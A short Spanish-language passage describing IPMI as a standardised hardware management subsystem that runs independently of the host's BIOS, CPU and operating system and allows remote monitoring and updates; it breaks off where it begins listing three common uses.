IPMI

Intelligent Platform Management Interface (IPMI) es un conjunto de especificaciones estandarizadas para sistemas de gestión de host basados en hardware que se utilizan para la gestión y monitorización de sistemas. Actúa como un subsistema autónomo y funciona independientemente de la BIOS, la CPU, el firmware y el sistema operativo subyacente del host. IPMI ofrece a los administradores de sistemas la posibilidad de gestionar y supervisar los sistemas aunque estén apagados o no respondan. Funciona mediante una conexión de red directa al hardware del sistema y no requiere acceso al sistema operativo a través de un intérprete de comandos de inicio de sesión. IPMI también se puede utilizar para actualizaciones remotas de sistemas sin necesidad de acceso físico al host de destino. IPMI se utiliza normalmente de tres maneras:
